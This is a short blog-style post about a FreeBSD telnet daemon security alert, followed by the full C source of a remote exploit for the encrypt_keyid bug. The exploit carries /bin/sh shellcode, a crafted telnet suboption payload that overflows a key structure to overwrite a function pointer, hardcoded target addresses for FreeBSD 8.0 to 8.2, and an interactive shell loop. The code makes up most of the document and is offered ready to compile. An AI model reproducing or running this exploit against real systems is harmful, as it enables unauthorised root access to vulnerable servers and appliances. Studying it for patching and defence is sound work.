On the 23th of this month the guys at FreeBSD released a
security alert on a bug found in the FreeBSD telnet daemon. It turns out that with some very simple tricking you are able to execute commands remotely as the user who is running the daemon (which is is many cases the user root). This is a very serious security issue and it possibly reminds some of you to some very old exploits years ago on AIX and Solaris where you also could become almost every user you would like by exploiting a telnet daemon.
Another issue with this telnet exploit is that this version of the telnet daemon is used, forked, re-forked and embedded in operating systems, software distributions and appliances which potentially are all vulnerable at this moment. Exploit scripts are
available for the metasploit framework and the sourcecode of an exploit script can be found below;
/***************************************************************************
* telnetd-encrypt_keyid.c
*
* Mon Dec 26 20:37:05 CET 2011
* Copyright 2011 Jaime Penalba Estebanez (NighterMan)
*
* nighterman@painsec.com - jpenalbae@gmail.com
* Credits to batchdrake as always
*
* ______ __ ________
* / __ / /_/ / _____/
* / /_/ /______________\ \_____________
* / ___ / __ / / __ / \ \/ _ \/ __/
* / / / /_/ / / / / /___/ / __/ /__
* ____/__/____\__,_/_/_/ /_/______/\___/\____/____
*
*
****************************************************************************/
/*
*
* Usage:
*
* $ gcc exploit.c -o exploit
*
* $ ./exploit 127.0.0.1 23 1
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define MAXKEYLEN 64-1
struct key_info
{
unsigned char keyid[MAXKEYLEN];
unsigned char keylen[4];
unsigned char dir[4];
unsigned char modep[4];
unsigned char getcrypt[4];
};
static unsigned char shellcode[] =
"\x31\xc0" // xor %eax,%eax
"\x50" // push %eax
"\xb0\x17" // mov $0x17,%al
"\x50" // push %eax
"\xcd\x80" // int $0x80
"\x50" // push %eax
"\x68\x6e\x2f\x73\x68" // push $0x68732f6e
"\x68\x2f\x2f\x62\x69" // push $0x69622f2f
"\x89\xe3" // mov %esp,%ebx
"\x50" // push %eax
"\x54" // push %esp
"\x53" // push %ebx
"\x50" // push %eax
"\xb0\x3b" // mov $0x3b,%al
"\xcd\x80"; // int $0x80
static unsigned char tnet_init_enc[] =
"\xff\xfa\x26\x00\x01\x01\x12\x13"
"\x14\x15\x16\x17\x18\x19\xff\xf0";
static unsigned char tnet_option_enc_keyid[] = "\xff\xfa\x26\x07";
static unsigned char tnet_end_suboption[] = "\xff\xf0";
/*
* shell(): semi-interactive shell hack
*/
static void shell(int fd)
{
fd_set fds;
char tmp[128];
int n;
/* check uid */
write(fd, "id\n", 3);
/* semi-interactive shell */
for (;;) {
FD_ZERO(&fds);
FD_SET(fd, &fds);
FD_SET(0, &fds);
if (select(FD_SETSIZE, &fds, NULL, NULL, NULL) < 0) {
perror("select");
break;
}
/* read from fd and write to stdout */
if (FD_ISSET(fd, &fds)) {
if ((n = read(fd, tmp, sizeof(tmp))) < 0) {
fprintf(stderr, "Goodbye...\n");
break;
}
if (write(1, tmp, n) < 0) {
perror("write");
break;
}
}
/* read from stdin and write to fd */
if (FD_ISSET(0, &fds)) {
if ((n = read(0, tmp, sizeof(tmp))) < 0) {
perror("read");
break;
}
if (write(fd, tmp, n) < 0) {
perror("write");
break;
}
}
}
close(fd);
exit(1);
}
static int open_connection(in_addr_t dip, int dport)
{
int pconn;
struct sockaddr_in cdata;
struct timeval timeout;
/* timeout.tv_sec = _opts.timeout; */
timeout.tv_sec = 8;
timeout.tv_usec = 0;
/* Set socket options and create it */
cdata.sin_addr.s_addr = dip;
cdata.sin_port = htons(dport);
cdata.sin_family = AF_INET;
pconn = socket(AF_INET, SOCK_STREAM, 0);
if( pconn < 0 )
{
printf("Socket error: %i\n", pconn);
printf("Err message: %s\n", strerror(errno));
exit(-1);
}
/* Set socket timeout */
if ( setsockopt(pconn, SOL_SOCKET, SO_RCVTIMEO,
(void *)&timeout, sizeof(struct timeval)) != 0)
{
perror("setsockopt SO_RCVTIMEO: ");
exit(1);
}
/* Set socket options */
if ( setsockopt(pconn, SOL_SOCKET, SO_SNDTIMEO,
(void *)&timeout, sizeof(struct timeval)) != 0)
{
perror("setsockopt SO_SNDTIMEO: ");
exit(1);
}
/* Make connection */
if (connect(pconn,(struct sockaddr *) &cdata, sizeof(cdata)) != 0)
{
close(pconn);
return -1;
}
return pconn;
}
static void usage(char *arg)
{
printf("Telnetd encrypt_keyid exploit for FreeBSD\n");
printf("NighterMan \n\n");
printf("Usage: %s [ip] [port] [target]\n", arg);
printf("Available Targets:\n");
printf(" - 1: FreeBSD 8.0 & 8.1\n");
printf(" - 2: FreeBSD 8.2\n\n");
}
int main(int argc, char *argv[])
{
/* Payload Size */
int psize = (sizeof(struct key_info) +
sizeof(tnet_option_enc_keyid) +
sizeof(tnet_end_suboption));
struct key_info bad_struct;
unsigned char payload[psize];
unsigned char readbuf[256];
int ret;
int conn;
int offset = 0;
if ( argc != 4) {
usage(argv[0]);
return -1;
}
/* Fill the structure */
memset(&bad_struct, 0x90, sizeof(struct key_info));
memcpy(&bad_struct.keyid[20], shellcode, sizeof(shellcode));
memcpy(bad_struct.keylen, "DEAD", 4);
memcpy(bad_struct.dir, "BEEF", 4);
memcpy(bad_struct.modep, "\x6c\x6f\x05\x08", 4); /* Readable address */
/* Shellcode address (function pointer overwrite) */
switch (atoi(argv[3])) {
case 1:
memcpy(bad_struct.getcrypt, "\xa6\xee\x05\x08", 4);
break;
case 2:
memcpy(bad_struct.getcrypt, "\xed\xee\x05\x08", 4);
break;
default:
printf("Bad target\n");
return -1;
break;
}
/* Prepare the payload with the overflow */
memcpy(payload, tnet_option_enc_keyid, sizeof(tnet_option_enc_keyid));
offset += sizeof(tnet_option_enc_keyid);
memcpy(&payload[offset], &bad_struct, sizeof(bad_struct));
offset += sizeof(bad_struct);
memcpy(&payload[offset], tnet_end_suboption, sizeof(tnet_end_suboption));
/* Open the connection */
conn = open_connection(inet_addr(argv[1]), atoi(argv[2]));
if (conn == -1) {
printf("Error connecting: %i\n", errno);
return -1;
}
/* Read initial server request */
ret = read(conn, readbuf, 256);
printf("[<] Succes reading intial server request %i bytes\n", ret);
/* Send encryption and IV */
ret = write(conn, tnet_init_enc, sizeof(tnet_init_enc));
if (ret != sizeof(tnet_init_enc)) {
printf("Error sending init encryption: %i\n", ret);
return -1;
}
printf("[>] Telnet initial encryption mode and IV sent\n");
/* Read response */
ret = read(conn, readbuf, 256);
printf("[<] Server response: %i bytes read\n", ret);
/* Send the first payload with the overflow */
ret = write(conn, payload, psize);
if (ret != psize) {
printf("Error sending payload first time\n");
return -1;
}
printf("[>] First payload to overwrite function pointer sent\n");
/* Read Response */
ret = read(conn, readbuf, 256);
printf("[<] Server response: %i bytes read\n", ret);
/* Send the payload again to tigger the function overwrite */
ret = write(conn, payload, psize);
if (ret != psize) {
printf("Error sending payload second time\n");
return -1;
}
printf("[>] Second payload to triger the function pointer\n");
/* Start the semi interactive shell */
printf("[*] got shell?\n");
shell(conn);
return 0;
}